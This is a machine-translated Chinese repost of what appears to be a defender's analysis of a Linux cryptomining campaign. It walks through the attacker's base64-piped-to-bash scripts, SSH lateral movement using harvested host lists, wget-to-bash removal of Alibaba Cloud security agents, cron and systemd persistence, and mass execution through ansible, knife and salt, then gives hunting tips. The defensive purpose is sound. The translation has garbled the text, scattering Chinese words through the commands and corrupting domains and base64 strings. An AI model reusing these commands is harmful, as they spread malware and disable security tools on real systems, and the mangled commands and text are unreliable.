云服务器价格_云数据库_云主机【优惠】最新活动-搜集站云资讯

天翼云_杭州企业网站设计_是什么

小七 141 0

从Linux上的加密货币挖掘攻击脚本中学习

加密货币挖掘攻击继续对我们的许多Azure Linux客户构成威胁。在过去,我们讨论过一些攻击者如何使用暴力技术来猜测帐户名和密码,并使用这些来访问计算机。今天,我们讨论的是一种攻击,我们的一些客户已经看到了利用服务直接在托管服务的机器上运行攻击者代码的攻击。这次攻击之所以有趣,有几个原因。攻击者在他们的脚本中回响,这样我们就可以看到他们想要做什么,而不仅仅是在机器上执行什么。这些脚本涵盖了一系列可以利用的服务,因此它们展示了该活动可以达到的程度。最后,因为我们有脚本本身,所以我们可以从LinuxMitreAtt&CK矩阵的横向移动、防御规避、持久性和目标部分中找出一些好的例子,并用这些例子来讨论如何在自己的数据上搜索。初始矢量对于此攻击,已审核日志中出现错误的第一个迹象是echo命令将base64编码的命令管道传输到base64进行解码,然后管道传输到bash。在我们的用户中,第一个命令有一个暴露在internet上的应用程序或服务的父进程,该命令由与该进程相关联的用户帐户运行。这表示应用程序或服务本身被利用以运行命令。虽然其中一些帐户是特定于客户的,但我们也看到一些常见的帐户,如Ubuntu、Jenkins和Hadoop/bin/sh-c"回音zxhlyyampi9kzxyvbnvsbaplehbvcnqguefsdkuefusdovymluoi9zym洛I91C3Ivymluoi91c3ivc2jpbjovdxnyl2xvy2fsl2jpbjovdxnyl2xvy2fsl3niaw4kCmRvbm英国| base64-d | bash"脚本有必要在一旁简短地谈谈这个攻击者是如何使用脚本的。在本例中,它们几乎通过base64编码的脚本完成所有操作。这些脚本的一个有趣之处在于,它们以相同的前两行代码开头:将标准错误和标准输出流重定向到/dev/null,并将path变量设置为攻击者通常知道的保存其希望运行的系统命令的位置执行&>/dev/null导出路径=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin这表示当它们中的每一个都是base64编码时,编码的第一部分每次都是相同的。zxhlyyampi9kzxyvbnvsbaplehbvcnqguefsdkuefusdovymoui9zymluoi91c3ivym洛伊91C3IVC2JPBJOVDXNYL2XVY2FSL2JPBJOVDNYL2XVY2FSL3NIAW4K当试图将一组大型计算机的攻击联系在一起时,使用相同的命令尤其有用。脚本本身也很有趣,因为我们可以看到攻击者打算运行什么。作为防御者,随时查看攻击者脚本是非常有价值的,这样您就可以看到他们是如何试图操纵系统的。例如,此攻击者使用For循环遍历不同的可能域名。这种洞察为辩护人在调查期间提供了更多的数据。对于h in洋葱。玻璃civiclink.network公司托尔2网络.io洋葱.sh洋葱.mn洋葱网洋葱做如果!ls/proc/$(cat/tmp/.X11 unix/01)/io;然后x tv.$h其他的打破金融机构完成我们观察到,这个攻击者在许多客户中使用了30多种不同的编码脚本,但它们可以归结为大约十几个基本脚本,在可执行名称或下载站点上存在细微差异。在这些脚本中有一些有趣的例子,我们可以直接将它们与MITRE ATT&CK Matrix for Linux联系起来。横向运动虽然这不是攻击者首先做的事情,但他们确实使用了一种有趣的组合发现(T1018:远程系统发现)和横向移动(T1021:远程服务)技术来感染其他主机。它们通过.bash_history、/etc/hosts和.ssh/known_hosts文件查找IP地址。然后,他们尝试使用根帐户和他们在当前主机上泄露的帐户(没有密码)将初始编码的脚本传递到每个主机。注意,xssh函数出现在原始脚本中的调用之前hosts=$(grep-oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"~/.bash_history/etc/hosts~/.ssh/known|hosts | awk-F:{'print$2'}| sort | uniq;awk{'print$1'}$HOME/.ssh/known| hosts | uniq | grep-v=| sort | uniq)对于$hosts中的h;do xssh root$h;xssh$USER$h&done------xssh(){ssh-oBatchMode=yes-oConnectTimeout=5-oPasswordAuthentication=no-oPubkeyAuthentication=yes-oStrictHostKeyChecking=no$1@$2'echo ZXhlYyAKZG9uZQo=| base64-d | bash'}在每种情况下,在获得初始立足点后,攻击者使用一套类似的防御规避技术。防御规避在各种脚本中,攻击者使用T1107:文件删除、T1222:文件和目录权限修改和T1089:禁用安全工具技术,以及此时显而易见的T1064:脚本。在一个脚本中,他们首先生成一个随机命名的文件:z=./$(日期| md5sum |剪切-f1-d"")在将可执行文件下载到该文件中后,他们修改下载的文件以供执行,运行该文件,然后从磁盘中删除该文件:chmod+x$z;$z;rm-f在另一个脚本中,攻击者试图下载并运行阿里云安全服务器守护程序和阿里云云监控服务的卸载文件(脚本前面将变量$w设置为wget命令)。美元更新.aegis.aliyun.com/下载/卸载.sh|巴什美元更新.aegis.aliyun.com/下载/quartz_卸载.sh|巴什/usr/local/qcloud/stargate/管理/卸载.sh坚持不懈一旦coin miner启动并运行,该攻击者将使用T1168:Local Job Scheduling和T1501:Systemd Service scheduled tasks的组合来实现持久性。下面的代码取自脚本的另一部分,其中它们将ntp调用和其中一个base64编码的脚本回显到文件systemd ntpdate中,然后添加一个cron作业来运行该文件。入侵的原始脚本基本上和他们的脚本一样。echo-e"#\x21/bin/bash\nexec&>/dev/null\nntpdatentp.aliyun.com网站\nsleep$((随机%600))\necho ZXhlYyAmPi92gKZmkK | base64-d | bash">/lib/systemd/systemd ntpdateecho"0****root/lib/systemd/systemd ntpdate">/etc/cron.d/0systemd-ntpdate触摸-r/bin/grep/lib/systemd/systemd ntpdate触摸-r/bin/grep/etc/cron.d/0systemd-ntupdatechmod+x/lib/systemd/systemd ntpdate目标如前所述,此攻击者的主要目标是启动硬币挖掘器。他们在使用T1496:资源劫持策略运行的第一个脚本中这样做。这种攻击的一个有趣之处在于,当他们开始尝试让硬币挖掘器与最初被破坏的帐户一起运行时,随后的脚本之一试图使用来自不同软件的命令来启动它(T1072:第三方软件)。ansible all-mshell-a'echo ZXhuZQo=| base64-d | bash'刀ssh'名称:''echo ZXhuZQo=| base64-d | bash'盐'*'命令运行'echo ZXhZQo=| base64-d | bash'狩猎ASCLinux的客户应该会看到来自这种活动的硬币挖掘或可疑下载警报,但是如果您想自己去寻找呢?如果使用上面的脚本示例,您可以跟踪几个指标,特别是如果您有命令行日志记录你看到了与洋葱和tor站点的意外连接吗?您看到主机之间出现意外的ssh连接吗?你看到特定用户的活动增加了吗?您看到base64命令被回送、解码,然后通过管道传输到bash中吗?其中任何一个都可能是可疑的,取决于你自己的网络。检查你的cron作业,你看到wgets或base64编码的行吗?检查你的机器上运行的服务,你有没有发现什么意外?参考上面的目标部分,您是否看到了未安装软件的命令?蓝色哨兵也可以帮助你打猎。如果您已经是Azure安全中心的客户,我们可以轻松地将其集成到Azure Sentinel中。防守除了打猎,你还可以做一些事情来保护自己免受这些类型的攻击。如果您有面向internet的服务,请确保它们是最新的,正在更改任何默认密码,并利用Azure提供的一些其他凭据管理工具,如即时(JIT)、无密码登录和Azure密钥保险库。监视您的Azure计算机利用率;使用率意外增加可能表示有投币者。在Azure安全中心文档页面查看其他想法识别Linux系统上的攻击硬币矿工对接触互联网的机器构成了持续的威胁。虽然通常很容易阻止已知的坏IP或使用基于签名的防病毒软件,但通过研究攻击者的策略、技术和过程,防御者可以找到新的、更可靠的方法来保护他们的环境。虽然我们在这篇文章中讨论了一个特定的coin miner攻击者,但是上面强调的基本技术被许多不同类型的Linux系统攻击者使用。我们看到不同的攻击者经常使用类似于上述技术的侧向移动、防御规避和持续性技术,并根据我们的调查不断添加新的检测。